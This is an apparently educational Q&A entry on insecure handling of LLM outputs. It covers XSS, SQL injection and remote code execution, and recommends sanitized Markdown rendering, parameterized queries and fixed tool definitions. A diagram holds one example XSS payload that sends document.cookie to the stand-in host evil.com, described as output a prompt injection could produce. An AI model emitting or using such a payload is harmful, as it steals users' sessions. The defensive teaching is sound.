Q32: Insecure Output Handling: XSS, SQLi & Remote Code Execution from Untrusted Model Outputs - AI Engineering & LLMs (50 Qs)

1. The Fallacy of "Safe" LLM Outputs

A common enterprise security mistake is treating LLM-generated output as trusted internal data:

If an LLM response is rendered directly in an admin dashboard without HTML escaping → Stored Cross-Site Scripting (XSS).
If an LLM generates a database query concatenated directly into an SQL string → SQL Injection (SQLi).
If an LLM writes shell commands executed directly via exec() → Remote Code Execution (RCE).

php

Malicious Prompt Injection ──► LLM Output: "<script>fetch('https://evil.com/steal?c='+document.cookie)</script>"
                                       │
                                       ▼ (Direct React dangerouslySetInnerHTML)
                              User Browser Session Compromised!

2. Defense-in-Depth Mitigation Architecture

Vulnerability Vector	Insecure Pattern	Secure Architecture Pattern
Frontend UI Rendering	`element.innerHTML = llmResponse`	Parse via Markdown AST (e.g. `remark`), sanitize via `DOMPurify`, disallow raw HTML tags.
Database Access	`db.query("SELECT * FROM " + llmGeneratedClause)`	Use read-only database connections with strict parameterized ORM interfaces.
System Commands	`os.system(llmGeneratedCommand)`	Restrict actions to static enumerated tool definitions with rigid Pydantic arguments.

typescript

// Secure React Markdown Rendering Pattern
import ReactMarkdown from 'react-markdown';
import rehypeSanitize, { defaultSchema } from 'rehype-sanitize';

export function SafeModelResponse({ markdownText }: { markdownText: string }) {
  return (
    <ReactMarkdown
      // Strict schema: Strips script, iframe, object, and inline event handlers (onclick)
      rehypePlugins={[[rehypeSanitize, defaultSchema]]}
    >
      {markdownText}
    </ReactMarkdown>
  );
}